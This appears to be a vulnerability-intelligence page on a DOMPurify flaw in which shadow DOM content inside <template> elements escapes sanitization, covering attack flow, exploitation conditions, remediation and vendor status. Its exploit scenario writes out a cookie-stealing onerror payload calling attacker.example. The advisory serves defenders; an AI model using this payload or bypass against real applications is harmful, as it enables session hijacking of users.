Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft HTML payload with <template> containing shadow DOM
-
DeliverySubmit to application accepting user HTML
-
ExploitDOMPurify sanitizes input, shadow root skipped silently
-
InstallApplication stores or echoes 'sanitized' output
-
C2Victim loads page, application clones template into live DOM
-
ExecuteShadow DOM payload activates, XSS executes in victim browser context
-
ImpactSession tokens exfiltrated or persistent payload injected
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concurrent conditions: (1) the target application uses DOMPurify version 3.4.6 or earlier to sanitize user-supplied HTML; (2) the application's rendering pipeline clones <template> element content and inserts it into the live DOM after sanitization - this is the standard template API usage pattern but must be present in the application's code; and (3) the attacker can inject a <template> element containing an element with an attached shadow root (via the Web Components shadow DOM API) into the HTML submitted for sanitization. Exploitation is limited to browsers that support shadow DOM (all modern browsers). Applications that render sanitized HTML via innerHTML directly without template cloning, or that strip <template> tags from input allowlists, are not affected by this specific bypass. There is no requirement for the attacker to be authenticated; the limiting factor is solely the application's use of the template cloning render pattern post-sanitization. |
| Impact | No official CVSS vector was assigned by NVD at time of analysis, so risk signals are drawn from the advisory, POC, and independently assessed metrics. The attack is network-delivered, requires no authentication from the attacker's side, and exploits a default code path of a widely deployed library - these factors combine for a high real-world risk profile despite the absence of a formal CVSS score. A public POC (poc.html) has been published as part of the GitHub advisory, substantially lowering the exploitation bar. No EPSS score was provided and the vulnerability is not listed in CISA KEV, so confirmed active exploitation cannot be stated. However, the POC's existence combined with DOMPurify's ubiquity in security-sensitive applications (rich text editors, content management systems, email clients) means the window between POC and weaponization is likely short. The primary limiting factor is that exploitation requires the consuming application to both accept user-controlled HTML and subsequently clone/insert <template> elements from sanitized output - a realistic but not universal pattern. Applications that render sanitized HTML directly without template cloning are not affected by this specific bypass. |
| Exploit ScenarioDerived | An attacker submits user-controlled HTML to a web application - via a comment field, rich-text editor, or API endpoint - containing a <template> element with a child element that has a shadow DOM attached holding an <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>. DOMPurify's IN_PLACE sanitizer processes the input and silently skips the shadow root, returning what appears to be clean HTML. When another user visits the page and the application clones the template and appends it to the DOM (e.g., as part of rendering a comment thread), the image's onerror handler fires, exfiltrating session cookies to the attacker. A publicly available POC (poc.html) demonstrating this exact technique was released alongside the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 15, 2026
DOMPurify's HTML sanitizer silently skips shadow DOM contents nested inside <template> elements, allowing stored or reflected XSS payloads to survive sanitization untouched in versions up to and including 3.4.6. When a consuming application clones and inserts the sanitized template into the live DOM - the standard and intended usage pattern for HTML templates - any attacker-controlled payload within the shadow root executes with full script privileges in the victim's browser context. A publicly available proof-of-concept (poc.html) has been released alongside the advisory; no confirmed active exploitation (CISA KEV) has been recorded at time of analysis, but the low attack complexity and broad deployment of DOMPurify across web applications make this a high-priority patching target.
RemediationAI
Upgrade DOMPurify to version 3.4.7 or later, which resolves the shadow DOM traversal gap. The fix is confirmed by the upstream GitHub Security Advisory GHSA-rp9w-3fw7-7cwq at https://github.com/cure53/DOMPurify/security/advisories/GHSA-rp9w-3fw7-7cwq. Run npm install dompurify@3.4.7 or pin ^3.4.7 in package.json and rebuild. If immediate patching is not feasible, a targeted workaround is to strip or disallow <template> elements from input prior to DOMPurify processing using an allowlist that excludes the TEMPLATE tag - note that this trade-off disables legitimate template-based content. A second compensating control is to avoid cloning and inserting DOMPurify-sanitized content via the template cloning pattern (document.importNode / cloneNode on template.content) until the upgrade is applied; instead, use innerHTML-based insertion on the sanitized string directly, which does not trigger the vulnerable shadow DOM activation path. Neither workaround is a substitute for the 3.4.7 patch.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
DOMPurify (pkg:npm/dompurify) is the de-facto client-side HTML sanitization library used across thousands of web applications to strip XSS payloads from user-supplied markup. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) lies in the library's DOM traversal logic: when DOMPurify encounters a <template> element, it inspects the template's inert DocumentFragment content, but it fails to descend into shadow roots attached to elements within that fragment. The Web Components shadow DOM API allows arbitrary HTML subtrees to be attached via Element.attachShadow() and these subtrees are encapsulated from standard DOM queries. DOMPurify's walker never enters those shadow roots, meaning event handlers (onerror, onload), javascript: URL hrefs, and even raw <script> tags placed inside a shadow root nested within a template bypass all sanitization rules. The affected code path is specifically the IN_PLACE sanitization mode, as identified in the GHSA-rp9w-3fw7-7cwq advisory.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Network-delivered XSS with no attacker auth required, but victim must trigger template cloning (UI:R); scope changes to victim browser with full session compromise (S:C, C:H, I:H).
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Primary rating from Vendor (https://github.com/cure53/DOMPurify).
CVSS VectorVendor: https://github.com/cure53/DOMPurify
Lifecycle Timeline
1DescriptionCVE.org
If the HTML you give it contains a <template> element, and inside that template there's an element with a shadow DOM attached to it, DOMPurify quietly skips over the shadow contents. Whatever the attacker put in there - an image with an onerror handler, a link with a javascript: URL, even a full script - survives untouched. The moment the application uses that template the way templates are meant to be used (cloning it and inserting the result into the page), the malicious payload comes along and runs as if it had never been sanitized. From there an attacker gets everything XSS normally gets them: session cookies, stored tokens, the ability to act as the user, and the ability to leave persistent payloads behind for the next person who visits.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Module for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP3 | Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Module for SAP Applications 15 SP6 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
EUVD-2026-44452
GHSA-rp9w-3fw7-7cwq
NVD
CVE.org
EPSS
Exploit-DB